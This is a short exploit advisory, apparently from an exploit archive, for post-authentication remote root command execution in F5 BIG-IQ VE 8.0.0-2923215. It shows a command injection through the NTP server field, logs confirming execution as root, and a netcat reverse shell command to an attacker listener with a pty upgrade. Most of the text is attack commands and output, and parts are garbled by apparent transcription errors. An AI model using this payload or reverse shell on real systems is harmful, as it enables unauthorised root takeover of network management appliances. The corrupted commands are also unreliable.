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F5 BIG-IQ VE 8.0.0-2923215 Remote Root

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F5 BIG-IQ VE version 8.0.0-2923215 post-authentication remote root code execution exploit.

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(\"8.8.8.8\",\"ntpServerAddresses\":\"\%inbani\"\");","referer:"https://big/qi/i/system/this-device/dns-ntg/dns-np-edit","restOperationid":218253,"errofstack":(]."kind":":resterrorresponse") pid=7349 executed [/bin/sh -c dig +short +time=5 +tries=1 0\$(id>/tmp/id)] pid=7351 executed [id] pid=7349 executed [dig +short +time=5 +tries=1 0] [root@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] config # cat /tmp/id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0 NTP: pid-1288 executed [/bin/sh -c dig +short +time-5 +tries-1 88.8.8.8 \$(whoami)] pid-1290 executed [whoami] pid-1288 executed [dig +short +time-5 +tries-1 88.8.8.8 root] Exploitation The netcat binary with -e support is installed on the system already making a remote shell easy for demo A command such as this will provide the connection to our client listener: "nc 10.0.0.100 5000 -e /bin/bash" while on the client we will drop into a root shell on the bigiq server. \$ nc -1 -p 5000 ... connection received python -c 'import pty; pty.spawn("/bin/bash")' [@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restiavad # pwd [@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # id uid=0(root) gid=0(root) groups=0(root) context=system u:system r:initrc t:s0 [@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # ps 23230 7 S 0:00 su elasticsearch -s /bin/bash -c export JAVA_HOME-/usr/lib/jvm/jre-1.8.0openjdk.x86_64;export ES_JAVA_OFTS='-Xms6000m -Xmx6000m';export
ES_FAVAT_COMP';evar/config/rest/elasticsearch/configerees-bin/elasticsearch >/dew/null 2>61
32335 tyl S 0:00 python -c import pty; pty.spawn("/bin/bash")
32336 tyl S 0:000 Dyin/bash https://support.f5.com/csp/article/K06024431



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